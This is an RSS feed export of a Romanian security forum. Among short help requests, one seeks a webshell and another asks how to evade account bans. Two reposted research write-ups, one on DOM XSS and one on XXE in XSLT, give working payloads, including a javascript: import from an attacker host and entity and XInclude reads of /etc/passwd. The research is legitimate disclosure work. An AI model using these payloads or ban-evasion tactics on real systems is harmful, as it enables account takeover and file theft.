<?xml version="1.0"?>
<rss version="2.0"><channel><title>Securitate web Latest Topics</title><link>https://rstforums.com/forum/forum/68-securitate-web/</link><description>Securitate web Latest Topics</description><language>en</language><item><title>Webshell needed</title><link>https://rstforums.com/forum/topic/124028-webshell-needed/</link><description><![CDATA[<p>
	Salut,
</p>

<p>
	 
</p>

<p>
	Am nevoie de un webshell mai recent, are careva? Vreau sa rulez niste teste la un EDR.
</p>

<p>
	 
</p>

<p>
	Mersi
</p>
]]></description><guid isPermaLink="false">124028</guid><pubDate>Mon, 02 Feb 2026 08:53:19 +0000</pubDate></item><item><title>Cont ebaykleineanzaigen !</title><link>https://rstforums.com/forum/topic/123980-cont-ebaykleineanzaigen/</link><description><![CDATA[<p>
	Salutare! 
</p>

<p>
	Am o problema cu ebaykleineanzaigen.de, am nevoie de mai multe conturi active, dar ma blocheaza mereu, pentru ca imi fac publicitare la o mica combinatie sa zic asa fara sa fiu ( firma )  si ma blocheaza! Tot mi-am facut conturi noi, de pe care puteam sa postez, din nou pe acest site, ba faceam de pe telefonul de firma, ba faceam de pe laptopul iubitei mele, pana cand si acolo au blocat tot, si chiar daca pot sa fac cont nou, nu mai pot sa postez. 
</p>

<p>
	Am incercat asa : schimbare IP cu VPN, fara rezultat , am reinstalat browser si am sters cookies, fara rezultat, mi-am dat Hotspot, de pe telefon pe laptop, si tot nu am reusit sa postez din nou, chiar daca cont nou mi-am putut face. Eu mai am un cont principal care il folosesc de pe telefon si imi merge perfect, acel cont nu vreau sa il risc, dar am nevoie de altele noi, in concluzie <span><span>: Cum au reusit sa faca asta? Raman cookies-urile, undeva salvate si nu stiu eu ?!  Nu pare a fi un ban pe ip. </span></span>
</p>

<p>
	Astept solutii din partea voastra, cu mare recunostinta! <span><img alt=":)" data-emoticon="" height="20" src="https://rstforums.com/forum/uploads/emoticons/default_smile.png" srcset="https://rstforums.com/forum/uploads/emoticons/smile@2x.png 2x" title=":)" width="20" /></span>
</p>
]]></description><guid isPermaLink="false">123980</guid><pubDate>Tue, 25 Nov 2025 18:48:00 +0000</pubDate></item><item><title>Ajutor ransomware - BitLocker</title><link>https://rstforums.com/forum/topic/123643-ajutor-ransomware-bitlocker/</link><description><![CDATA[<p>
	Salutare tuturor,
</p>

<p>
	 
</p>

<p>
	O cunoștință de-a mea tocmai ce a fost infectată cu ransomware-ul BitLeaker (presupun că unii dintre voi sunteți deja familiarizați cu situația aceasta). Este contabilă și a primit un e-mail cu un atașament PDF aparent legitim. După ce l-a accesat, întregul ei hard disk a fost criptat prin BitLocker, iar acum este imposibil să mai acceseze datele fără cheia de recuperare. Atacatorii cer o sumă destul de mare pentru a furniza această cheie.
</p>

<p>
	 
</p>

<p>
	Nu vreau să ofer mai multe detalii aici, deoarece și atacatorii pot monitoriza forumurile. Vă rog mult, dacă aveți cunoștințe sau dacă știți persoane care au pățit același lucru recent, trimiteți-mi un mesaj privat. Am cateva intrebari.
</p>

<p>
	 
</p>

<p>
	Mulțumesc mult!
</p>
]]></description><guid isPermaLink="false">123643</guid><pubDate>Wed, 23 Jul 2025 08:55:35 +0000</pubDate></item><item><title>&#x218;ters</title><link>https://rstforums.com/forum/topic/123965-%C8%99ters/</link><description><![CDATA[<p>
	Șters 
</p>
]]></description><guid isPermaLink="false">123965</guid><pubDate>Tue, 21 Oct 2025 23:44:09 +0000</pubDate></item><item><title>DOM XSS: Bypassing Server-side Cookie Overwrite, Chrome innerHTML Quirk, and JSON Injection</title><link>https://rstforums.com/forum/topic/123950-dom-xss-bypassing-server-side-cookie-overwrite-chrome-innerhtml-quirk-and-json-injection/</link><description><![CDATA[
	<div>
		<div>
			<div>
				<div>
					<div>
						<div>
							<h1>
								DOM XSS: Bypassing Server-side Cookie Overwrite, Chrome innerHTML Quirk, and JSON Injection
							</h1>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>



	<div>
		<p>
			Hi everyone in this post I walk through three DOM-XSS findings I discovered while hunting on a bug-bounty program: a cookie-scoped bypass of server cookie overwrites, a Chrome innerHTML quirk, and a JSON injection that can overwrite window.
		</p>

		<h2>
			Cookie-based DOM XSS: bypassing server-side cookie overwrite
		</h2>

		<p>
			I was checking a React application in a bug-bounty program for DOM XSS vulnerabilities, and I looked not only code that parses query strings from the URL but also any code that parse document.cookie to extract values. On the login page I found a function (call it i()) that runs a regex against document.cookie to extract the lang cookie and returns that value; if the regex doesn’t match it falls back to returning “en”. The value returned by that function is then inserted unsanitized into a script element’s innerHTML as value for the language property inside a page object.
		</p>

		<pre>function i() {
  const t = document.cookie.match(new RegExp("(^| )lang=([^;]+)"));
  const i = t ? t[2] : "en";
  return {
    lang: i,
  };
}</pre>

		<pre>, l = document.createElement("script");
                        l.innerHTML = `\n        var page = {\n          config: {\n            lang: "${p || i.lang}",....   }\n        }`,
                        document.head.appendChild(l);</pre>

		<p>
			<br />
			That means an low-impact XSS on a subdomain could be used to set a malicious lang cookie and, if that cookie is shared across subdomains, it would result in DOM XSS on the login page. There was a catch: the login page itself issues a Set-Cookie for lang on every visit, which would overwrite any malicious lang value you had set. I think they were aware of the XSS risk here that’s likely why the server updates the lang cookie on each request.
		</p>

		<pre>document.cookie=`lang=vv",x:import(..),x:"; domain=.target.com; path=/login`</pre>

		<p>
			<br />
			While looking for ways to bypass that protection, I discovered the same code runs on the signup page but unlike the login endpoint, the signup endpoint does not return a Set-Cookie for lang. That means an attacker can set a malicious lang cookie, set it to the entire domain (shared across subdomains) and set its Path=/signup; then redirecting a user to /signup will trigger the DOM XSS there. I used this XSS to steal users’ OAuth tokens and achieved an account takeover.
		</p>

		<pre>document.cookie=`lang=vv",x:import(..),x:"; domain=.target.com; path=/signup`
location="https://www.target.com/signup"</pre>

		<h2>
			DOM XSS due to Chrome InnerHTML Quirk
		</h2>

		<p>
			There was an application that registered a postMessage listener but didn’t validate the sender origin. The listener looked for a specific property in incoming messages (call it x-params) and expected it to be JSON. Sometimes x-params arrived as a string, in those cases the code checked whether the string contained HTML-encoded quotes (e.g. &amp;quot;). If it did not, the string was passed straight to JSON.parse. If it did contain HTML-encoded quotes, the code created a &lt;p&gt; element, set that string as the element’s innerHTML (but did not append the &lt;p&gt; to the document), then read the element’s innerText and passed that to JSON.parse. This was used as a way to decode HTML-encoded JSON; because the &lt;p&gt; was never inserted into the page which will not produce an XSS.
		</p>

		
			<img alt="image-1.png?w=809" data-ratio="29.05" srcset="https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image-1.png 809w, https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image-1.png?w=150 150w, https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image-1.png?w=300 300w, https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image-1.png?w=768 768w" src="https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image-1.png?w=809" />
		

		<p>
			However, this wasn’t a safe approach. Chrome has a quirk (previosuly mentioned by @terjanq in this <a href="https://x.com/terjanq/status/1421093136022048775" rel="external nofollow">tweet</a> and discussed by @sudhanshur705 in this <a href="https://sudistark.github.io/2023/10/20/Interesting-case-of-a-DOM-XSS-in-www.figma.com.html" rel="external nofollow">write-up</a>) where assigning an &lt;img&gt; tag string to an element’s innerHTML can cause the browser to execute that tag even if the element is never appended to the DOM. That means an attacker can achieve XSS on the page with that vulnerable message listener by sending this following postMessage to it :
		</p>

		<pre>vulnpage.postMessage(
  JSON.stringify({
    body: {
      "x-params":
        "&amp;quot;&lt;img src="x"&gt;"
    }
  }),
  "*"
);</pre>

		<h2>
			DOM XSS using JSON Injection
		</h2>

		<p>
			In this case the app was fetching an the front-end configuration from an endpoint that was responding with a JSON and it was appending the page’s querystring to that fetch call. The server reflected the querystring back into a JSON field decoded (not escaped/encoded), so by sending a query containing ” / } / ] you can break out of that field, change the JSON structure, and inject arbitrary keys and values.
		</p>

		<p>
			After the config is fetched and parsed, the app passes the JSON to a function that extracts the window field and merges its contents into the global window object. Because we can inject a window key with a location property set to a javascript: payload, for example:
		</p>

		<div>
			<p>
				" ] }, "window": { "location": "javascript:import('https://attacker/eval.js')" }...
			</p>
		</div>

		<p>
			When the app merges that JSON into the global window object an XSS occurs, since assigning a value to window.location triggers navigation to that value, and navigating to a javascript: URI causes the browser to execute the attacker’s code in the page.
		</p>

		
			<img alt="image.png?w=867" data-ratio="14.53" srcset="https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image.png 867w, https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image.png?w=150 150w, https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image.png?w=300 300w, https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image.png?w=768 768w" src="https://elmahdi4.wordpress.com/wp-content/uploads/2025/09/image.png?w=867" />
		

		<p>
			<br />
			<br />
			Exploit example (raw, not URL-encoded):
		</p>

		<div>
			<pre>/login?v=
" ] }, "window": {
  "location": "javascript:malicious()",
  "REDACTED_2": {
    "REDACTED_3": { "REDACTED_4": "REDACTED_5" },
    "REDACTED_6": "REDACTED_7",
    "REDACTED_8": "REDACTED_9",
    "REDACTED_10": { "REDACTED_11": { "groups": [ "redx", "red" ] } },
    "REDACTED_14": "REDACTED_15",
    "REDACTED_16": { "groups": [ "REDACTED_17" ] }
  },
  "REDACTED_18": {
    "REDACTED_19": {
      "REDACTED_20": "REDACTED_21",
      "REDACTED_22": "REDACTED_23",
      "REDACTED_24": "REDACTED_25"
    }
  },
  "REDACTED_26": {
    "REDACTED_27": { "REDACTED_28": true, "REDACTED_29": true }
  }
} } , "f": { "fffff": { "v": [ "x"
</pre>
		</div>

		<p>
			Thanks for reading and i hope you liked this post, you can catch me on X: <a href="https://x.com/elmehdimee" rel="external nofollow">@elmehdimee</a>.
		</p>

		<p>
			 
		</p>

		<p>
			Sursa: <a href="https://elmahdi4.wordpress.com/2025/09/26/dom-xss-bypassing-server-side-cookie-overwrite-chrome-innerhtml-quirk-and-json-injection/" rel="external nofollow">https://elmahdi4.wordpress.com/2025/09/26/dom-xss-bypassing-server-side-cookie-overwrite-chrome-innerhtml-quirk-and-json-injection/</a>
		</p>
	</div>

]]></description><guid isPermaLink="false">123950</guid><pubDate>Sun, 28 Sep 2025 08:15:33 +0000</pubDate></item><item><title>Security Bootcamp - UiPath 2025</title><link>https://rstforums.com/forum/topic/122855-security-bootcamp-uipath-2025/</link><description><![CDATA[<p>
	In perioada 8-12 septembrie, echipa de security de la UiPath va tine un bootcamp de web security pentru incepatori (e.g. liceu, inceput de facultate). Printre oamenii care vor tine acest training de o saptamana vor fi liderul echipei cu care Romania a castigat campionatul ECSC.
</p>

<p>
	 
</p>

<p>
	Bootcampul va acoperi cam tot ce e relevant pe partea de web security. Pentru intrebari sau sugestii, puteti posta in acest topic. 
</p>

<p>
	 
</p>

<p>
	Aplicare: <a href="https://forms.office.com/pages/responsepage.aspx?id=Kj012FOxF02IJ5AsUfcjV7xtuiFG-WJGpjjLyYDNLEhUOFhUR0tNV0xXOVkwQ1pPMUpYWU9aWUdHNS4u&amp;route=shorturl" rel="external nofollow">https://forms.office.com/pages/responsepage.aspx?id=Kj012FOxF02IJ5AsUfcjV7xtuiFG-WJGpjjLyYDNLEhUOFhUR0tNV0xXOVkwQ1pPMUpYWU9aWUdHNS4u&amp;route=shorturl</a>
</p>
]]></description><guid isPermaLink="false">122855</guid><pubDate>Thu, 05 Jun 2025 12:50:41 +0000</pubDate></item><item><title>Gmail account hacked</title><link>https://rstforums.com/forum/topic/123637-gmail-account-hacked/</link><description><![CDATA[<p>
	Hello, i have a problem where my Youtube and Gmail account has been hacked and i can't log in anymore. My passwords and recovery keys had been changed, my gmail account was linked to an Youtube account that had been removed out of the platform because the person that hacked it broked the YouTube policy. I wanna gain acces back to my gmail and recover my YouTube account, Thank You. Have a nice day!
</p>
]]></description><guid isPermaLink="false">123637</guid><pubDate>Tue, 22 Jul 2025 10:40:35 +0000</pubDate></item><item><title>O idee, v&#x103; rog</title><link>https://rstforums.com/forum/topic/121074-o-idee-v%C4%83-rog/</link><description><![CDATA[<p>
	Salut,
</p>

<p>
	 
</p>

<p>
	Mă scuzați că postez un prim subiect care solicită din prima un ajutor, o idee, de unde să apuc problema.
</p>

<p>
	Administrez câteva magazine online care, de la o vreme, sunt spamate cu creare de conturi de forma:
</p>

<p>
	 
</p>

<p>
	<strong>utilizator</strong> : uRnvo4xpkfRc
</p>

<p>
	<strong>adresă de email</strong>: pe yahoo, gmail, aol...
</p>

<p>
	 
</p>

<p>
	Nu înțeleg de ce se întâmplă asta, ce urmăresc spamerii. Conturile nu sunt activate. Platforma funcționează așa: ca să-și deschidă cont, omul își bagă niște date minimale (nume + email + o bifă de acceptare T&amp;C) și i se generează un email automat de forma:<br />
	<br />
	„Salut uRnvo4xpkfRc, bine ai venit bla bla, 
</p>

<p>
	Ca să activezi contul, dă click aici [link criptat].”
</p>

<p>
	 
</p>

<p>
	Pe unele platforme se crează zilnic zeci de asemenea conturi. În afară de trimiterea automată a emailului, nu văd nici un sens. Pe altele apare câte un cont la 1-2 zile, chiar zilnic, dar nu mai mult. Ca și cum cineva testează ceva, „nu ar funcționa” ceea ce se urmărește, și se abandonează ideea.
</p>

<p>
	 
</p>

<p>
	Am mai întâlnit ceva asemănător la un client care avea un Prestashop, trimiteau ca nebunii formulare de contact. Acolo am dezactivat pur și simplu formularul de contact. Spamerii au continuat să umple baza de date cu mesaje, dar formularul nu mai pleca nicăieri.
</p>

<p>
	 
</p>

<p>
	Serverele nu înregistrează alte emailuri de ieșire în afara celor de confirmare. Dacă încerc să „spionez” cu un program de analytics care îmi permite să înregistrez comportamentul utilizatorului, nu văd nimic, ceea ce înseamnă că e vorba de accesări cu boți. Totuși, nu înțeleg ce urmăresc. M-am gândit că toată cheia e stringul acela - uRnvo4xpkfRc - care o declanșa vreo poveste la utilizatorul care primește mailul, dar e ciudat, fiindcă emailurile sunt de tip yahoo, gmail, aol etc. - astea se citesc online, nu se descarcă pe calculator.<br />
	<br />
	Ceva idei?
</p>
]]></description><guid isPermaLink="false">121074</guid><pubDate>Mon, 10 Mar 2025 11:06:27 +0000</pubDate></item><item><title>Whatsapp, Signal, Telegram sunt compromise.</title><link>https://rstforums.com/forum/topic/120771-whatsapp-signal-telegram-sunt-compromise/</link><description><![CDATA[<p>
	<strong>De ce Europolul si Interpolul au inchis o gramada de aplicatii de chat E2EE ?</strong>
</p>

<p>
	 
</p>

<p>
	Mai multe aplicatii de chat au fost inchise precum <strong>Matrix, Sky ECC, EncroChat, Exclu and Ghost</strong> ?
</p>

<p>
	 
</p>

<p>
	<a href="https://www.europol.europa.eu/media-press/newsroom/news/international-operation-takes-down-another-encrypted-messaging-service-used-criminals" rel="external nofollow">https://www.europol.europa.eu/media-press/newsroom/news/international-operation-takes-down-another-encrypted-messaging-service-used-criminals</a>
</p>

<p>
	 
</p>

<p>
	Stii de ce nu?
</p>

<p>
	 
</p>

<p>
	Pentru ca whatsapp, signal, telegram au solutii prin care pot sa faca MiTM si sa fure cheile private de la utilizatori. Am discutat aici cum anumite state pot sa faca MiTM
</p>
<iframe allowfullscreen="" data-controller="core.front.core.autosizeiframe" data-embedauthorid="319140" data-embedcontent="" data-embedid="embed1151580973" src="https://rstforums.com/forum/topic/120744-ce-calitati-defineste-un-hacker/?do=embed" style="height:214px;max-width:502px;"></iframe>

<p>
	Nytro sa imi suga pula ca e superficial in gandire care nu se documenteaza corespunzator si nu tace inainte sa arate cat de prost e.
</p>
]]></description><guid isPermaLink="false">120771</guid><pubDate>Sat, 11 Jan 2025 08:22:14 +0000</pubDate></item><item><title>Getting XXE in Web Browsers using ChatGPT</title><link>https://rstforums.com/forum/topic/120343-getting-xxe-in-web-browsers-using-chatgpt/</link><description><![CDATA[<div>
	<img alt="6b048d36-xxe-article.png" data-ratio="54.75" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/6b048d36-xxe-article.png" />
</div>

<div>
	<div>
		<div>
			<div>
				 
			</div>

			<div>
				<div>
					<div>
						 
					</div>
				</div>
			</div>
		</div>
	</div>
</div>

<p>
	A year ago, I wondered what a malicious page with disabled JavaScript could do.
</p>

<p>
	 
</p>

<p>
	I knew that SVG, which is based on XML, and XML itself could be complex and allow file access. Is the Same Origin Policy (SOP) correctly implemented for all possible XML and SVG syntaxes? Is access through the file:// protocol properly handled?
</p>

<p>
	 
</p>

<p>
	Since I was too lazy to read the documentation, I started generating examples using ChatGPT.
</p>

<h2>
	XSL
</h2>

<p>
	The technology I decided to test is XSL. It stands for eXtensible Stylesheet Language. It’s a specialized XML-based language that can be used within or outside of XML for modifying it or retrieving data.
</p>

<p>
	 
</p>

<p>
	In Chrome, XSL is supported and the library used is LibXSLT. It’s possible to verify this by using system-property('xsl:vendor') function, as shown in the following example.
</p>

<p>
	 
</p>

<ul>
	<li>
		system-properties.xml
	</li>
</ul>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-xml prettyprinted"><span class="pun">&lt;?</span><span class="pln">xml version</span><span class="pun">=</span><span class="str">"1.0"</span><span class="pln"> encoding</span><span class="pun">=</span><span class="str">"UTF-8"</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="pun">&lt;?</span><span class="pln">xml</span><span class="pun">-</span><span class="pln">stylesheet href</span><span class="pun">=</span><span class="str">"system-properties.xsl"</span><span class="pln"> type</span><span class="pun">=</span><span class="str">"text/xsl"</span><span class="pun">?&gt;</span><span class="pln">  
</span><span class="tag">&lt;root/&gt;</span><span class="pln">
system-properties.xsl
</span><span class="pun">&lt;?</span><span class="pln">xml version</span><span class="pun">=</span><span class="str">"1.0"</span><span class="pln"> encoding</span><span class="pun">=</span><span class="str">"UTF-8"</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="tag">&lt;xsl:stylesheet</span><span class="pln"> </span><span class="atn">version</span><span class="pun">=</span><span class="atv">"1.0"</span><span class="pln"> </span><span class="atn">xmlns:xsl</span><span class="pun">=</span><span class="atv">"http://www.w3.org/1999/XSL/Transform"</span><span class="tag">&gt;</span><span class="pln">
</span><span class="tag">&lt;xsl:template</span><span class="pln"> </span><span class="atn">match</span><span class="pun">=</span><span class="atv">"/"</span><span class="tag">&gt;</span><span class="pln">
</span><span class="tag">&lt;p&gt;</span><span class="pln">
Version: </span><span class="tag">&lt;xsl:value-of</span><span class="pln"> </span><span class="atn">select</span><span class="pun">=</span><span class="atv">"system-property('xsl:version')"</span><span class="pln"> </span><span class="tag">/&gt;</span><span class="pln"> </span><span class="tag">&lt;br</span><span class="pln"> </span><span class="tag">/&gt;</span><span class="pln">
Vendor: </span><span class="tag">&lt;xsl:value-of</span><span class="pln"> </span><span class="atn">select</span><span class="pun">=</span><span class="atv">"system-property('xsl:vendor')"</span><span class="pln"> </span><span class="tag">/&gt;</span><span class="pln"> </span><span class="tag">&lt;br</span><span class="pln"> </span><span class="tag">/&gt;</span><span class="pln">
Vendor URL: </span><span class="tag">&lt;xsl:value-of</span><span class="pln"> </span><span class="atn">select</span><span class="pun">=</span><span class="atv">"system-property('xsl:vendor-url')"</span><span class="pln"> </span><span class="tag">/&gt;</span><span class="pln">
</span><span class="tag">&lt;/p&gt;</span><span class="pln">
</span><span class="tag">&lt;/xsl:template&gt;</span><span class="pln">
</span><span class="tag">&lt;/xsl:stylesheet&gt;</span></pre>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Here is the output of the system-properties.xml file, uploaded to the local web server and opened in Chrome:
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	<img alt="dcc6ab1b-libxslt-1.png" data-ratio="26.12" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/dcc6ab1b-libxslt-1.png" />
</p>

<p>
	 
</p>

<p>
	The LibXSLT library, first released on September 23, 1999, is both longstanding and widely used. It is a default component in Chrome, Safari, PHP, PostgreSQL, Oracle Database, Python, and numerous others applications.
</p>

<p>
	 
</p>

<p>
	The first interesting XSL output from ChatGPT was a code with functionality that allows you to retrieve the location of the current document. While this is not a vulnerability, it could be useful in some scenarios.
</p>

<p>
	 
</p>

<ul>
	<li>
		get-location.xml
	</li>
</ul>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-xml prettyprinted"><span class="pun">&lt;?</span><span class="pln">xml</span><span class="pun">-</span><span class="pln">stylesheet href</span><span class="pun">=</span><span class="str">"get-location.xsl"</span><span class="pln"> type</span><span class="pun">=</span><span class="str">"text/xsl"</span><span class="pun">?&gt;</span><span class="pln">  
</span><span class="dec">&lt;!DOCTYPE test [  
    &lt;!ENTITY ent SYSTEM "?" NDATA aaa&gt;</span><span class="pln">  
]&gt;
</span><span class="tag">&lt;test&gt;</span><span class="pln">
</span><span class="tag">&lt;getLocation</span><span class="pln"> </span><span class="atn">test</span><span class="pun">=</span><span class="atv">"ent"</span><span class="tag">/&gt;</span><span class="pln">
</span><span class="tag">&lt;/test&gt;</span><span class="pln">
get-location.xsl
</span><span class="tag">&lt;xsl:stylesheet</span><span class="pln"> </span><span class="atn">version</span><span class="pun">=</span><span class="atv">"1.0"</span><span class="pln">  </span><span class="atn">xmlns:xsl</span><span class="pun">=</span><span class="atv">"http://www.w3.org/1999/XSL/Transform"</span><span class="pln">  
</span><span class="tag">&gt;</span><span class="pln">  
  </span><span class="tag">&lt;xsl:output</span><span class="pln"> </span><span class="atn">method</span><span class="pun">=</span><span class="atv">"html"</span><span class="tag">/&gt;</span><span class="pln">  
  </span><span class="tag">&lt;xsl:template</span><span class="pln"> </span><span class="atn">match</span><span class="pun">=</span><span class="atv">"getLocation"</span><span class="tag">&gt;</span><span class="pln">  
          </span><span class="tag">&lt;input</span><span class="pln"> </span><span class="atn">type</span><span class="pun">=</span><span class="atv">"text"</span><span class="pln"> </span><span class="atn">value</span><span class="pun">=</span><span class="atv">"{unparsed-entity-uri(@test)}"</span><span class="pln"> </span><span class="tag">/&gt;</span><span class="pln">  
  </span><span class="tag">&lt;/xsl:template&gt;</span><span class="pln">  
</span><span class="tag">&lt;/xsl:stylesheet&gt;</span></pre>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Here is what you should see after uploading this code to your web server:
</p>

<p>
	 
</p>

<p>
	<img alt="24484c5c-libxslt-2.png" data-ratio="79.40" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/24484c5c-libxslt-2.png" />
</p>

<p>
	 
</p>

<p>
	All the magic happens within the unparsed-entity-uri() function. This function returns the full path of the “ent” entity, which is constructed using the relative path “?”.
</p>

<h2>
	XSL and Remote Content
</h2>

<p>
	Almost all XML-based languages have functionality that can be used for loading or displaying remote files, similar to the functionality of the &lt;iframe&gt; tag in HTML.
</p>

<p>
	 
</p>

<p>
	I asked ChatGPT many times about XSL’s content loading features. The examples below are what ChatGPT suggested I use, and the code was fully obtained from it.
</p>

<h6>
	<span style="font-size:18px;">XML External Entities</span>
</h6>

<p>
	Since XSL is XML-based, usage of XML External Entities should be the first option.
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-xml prettyprinted"><span class="pun">&lt;?</span><span class="pln">xml version</span><span class="pun">=</span><span class="str">"1.0"</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="dec">&lt;!DOCTYPE foo [
&lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;</span><span class="pln">
]&gt;
</span><span class="tag">&lt;test&gt;</span><span class="pln">&amp;xxe;</span><span class="tag">&lt;/test&gt;</span></pre>

<h6>
	<span style="font-size:18px;">XInclude</span>
</h6>

<p>
	XInclude is an XML add-on that’s described in a W3C Recommendation from November 15, 2006.
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-xml prettyprinted"><span class="pun">&lt;?</span><span class="pln">xml version</span><span class="pun">=</span><span class="str">"1.0"</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="tag">&lt;test</span><span class="pln"> </span><span class="atn">xmlns:xi</span><span class="pun">=</span><span class="atv">"http://www.w3.org/2001/XInclude"</span><span class="tag">&gt;</span><span class="pln">
  </span><span class="tag">&lt;xi:include</span><span class="pln"> </span><span class="atn">href</span><span class="pun">=</span><span class="atv">"file:///etc/passwd"</span><span class="tag">/&gt;</span><span class="pln">
</span><span class="tag">&lt;/test&gt;</span></pre>

<h6>
	<span style="font-size:18px;">XSL‘s &lt;xsl:import&gt; and &lt;xsl:include&gt; tags</span>
</h6>

<p>
	These tags can be used to load files as XSL stylesheets, according to ChatGPT.
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-xml prettyprinted"><span class="pun">&lt;?</span><span class="pln">xml version</span><span class="pun">=</span><span class="str">"1.0"</span><span class="pln"> </span><span class="pun">?&gt;</span><span class="pln">
</span><span class="tag">&lt;xsl:stylesheet</span><span class="pln"> </span><span class="atn">version</span><span class="pun">=</span><span class="atv">"1.0"</span><span class="pln"> </span><span class="atn">xmlns:xsl</span><span class="pun">=</span><span class="atv">"http://www.w3.org/1999/XSL/Transform"</span><span class="tag">&gt;</span><span class="pln">
  </span><span class="tag">&lt;xsl:include</span><span class="pln"> </span><span class="atn">href</span><span class="pun">=</span><span class="atv">"file:///etc/passwd"</span><span class="tag">/&gt;</span><span class="pln">
  </span><span class="tag">&lt;xsl:import</span><span class="pln"> </span><span class="atn">href</span><span class="pun">=</span><span class="atv">"file:///etc/passwd"</span><span class="tag">/&gt;</span><span class="pln">
</span><span class="tag">&lt;/xsl:stylesheet&gt;</span></pre>

<h6>
	<span style="font-size:18px;">XSL’s document() function</span>
</h6>

<p>
	XSL’s document() function can be used for loading files as XML documents.
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-xml prettyprinted"><span class="pun">&lt;?</span><span class="pln">xml version</span><span class="pun">=</span><span class="str">"1.0"</span><span class="pln"> encoding</span><span class="pun">=</span><span class="str">"UTF-8"</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="tag">&lt;xsl:stylesheet</span><span class="pln">  </span><span class="atn">version</span><span class="pun">=</span><span class="atv">"1.0"</span><span class="pln"> </span><span class="atn">xmlns:xsl</span><span class="pun">=</span><span class="atv">"http://www.w3.org/1999/XSL/Transform"</span><span class="tag">&gt;</span><span class="pln">
  </span><span class="tag">&lt;xsl:template</span><span class="pln"> </span><span class="atn">match</span><span class="pun">=</span><span class="atv">"/"</span><span class="tag">&gt;</span><span class="pln">
    </span><span class="tag">&lt;xsl:copy-of</span><span class="pln"> </span><span class="atn">select</span><span class="pun">=</span><span class="atv">"document('file:///etc/passwd')"</span><span class="tag">/&gt;</span><span class="pln">
  </span><span class="tag">&lt;/xsl:template&gt;</span><span class="pln">
</span><span class="tag">&lt;/xsl:stylesheet&gt;</span></pre>

<h2>
	XXE
</h2>

<p>
	Using an edited ChatGPT output, I crafted an XSL file that combined the document() function with XML External Entities in the argument’s file, utilizing the data protocol. Next, I inserted the content of the XSL file into an XML file, also using the data protocol.
</p>

<p>
	 
</p>

<p>
	When I opened my XML file via an HTTP URL from my mobile phone, I was shocked to see my iOS /etc/hosts file! Later, my friend Yaroslav Babin(a.k.a. <a href="https://twitter.com/yarbabin" rel="external nofollow">@yarbabin</a>) confirmed the same result on Android!
</p>

<p>
	 
</p>

<div>
	<div>
		<p>
			<img alt="4206315f-ios.png" data-ratio="203.25" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/4206315f-ios.png" />
		</p>

		<p>
			 
		</p>

		<p>
			                                 iOS + Safari
		</p>

		<p>
			 
		</p>

		<p>
			 
		</p>
	</div>

	<div>
		<p>
			<img alt="4a714d7f-android.png" data-ratio="208.33" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/4a714d7f-android.png" />
		</p>

		<p>
			                             Android + Chrome
		</p>

		<p>
			 
		</p>

		<p>
			 
		</p>
	</div>
</div>

<p>
	Next, I started testing offline HTML to PDF tools, and it turned out that file reading works there as well, despite their built-in restrictions.
</p>

<p>
	There was no chance that this wasn’t a vulnerability!
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Here is a photo of my Smart TV, where the file reading works as well:
</p>

<p>
	 
</p>

<p>
	<img alt="128f01a2-smart-tv_2.png" data-ratio="78.13" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/128f01a2-smart-tv_2.png" />
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	I compiled a table summarizing all my tests:
</p>

<p>
	 
</p>

<blockquote class="ipsQuote" data-ipsquote="">
	<div class="ipsQuote_citation">
		Quote
	</div>

	<div class="ipsQuote_contents">
		<p>
			 
		</p>

		<table>
			<tbody>
				<tr>
					<td>
						Test Scenario
					</td>
					<td>
						Accessible Files
					</td>
				</tr>
				<tr>
					<td>
						Android + Chrome
					</td>
					<td>
						/etc/hosts
					</td>
				</tr>
				<tr>
					<td>
						iOS + Safari
					</td>
					<td>
						/etc/group, /etc/hosts, /etc/passwd
					</td>
				</tr>
				<tr>
					<td>
						Windows + Chrome
					</td>
					<td>
						–
					</td>
				</tr>
				<tr>
					<td>
						Ubuntu + Chrome
					</td>
					<td>
						–
					</td>
				</tr>
				<tr>
					<td>
						PlayStation 4 + Chrome
					</td>
					<td>
						–
					</td>
				</tr>
				<tr>
					<td>
						Samsung TV + Chrome
					</td>
					<td>
						/etc/group, /etc/hosts, /etc/passwd
					</td>
				</tr>
			</tbody>
		</table>

		<p>
			 
		</p>
	</div>
</blockquote>

<p>
	 
</p>

<p>
	The likely root cause of this discrepancy is the differences between sandboxes. Running Chrome on Windows or Linux with the --no-sandbox attribute allows reading arbitrary files as the current user.
</p>

<h2>
	Other Tests
</h2>

<p>
	I have tested some applications that use LibXSLT and don’t have sandboxes.
</p>

<table>
	<tbody>
		<tr>
			<td>
				App
			</td>
			<td>
				Result
			</td>
		</tr>
		<tr>
			<td>
				PHP
			</td>
			<td>
				Applications that allow control over XSLTProcessor::importStylesheet data can be affected.
			</td>
		</tr>
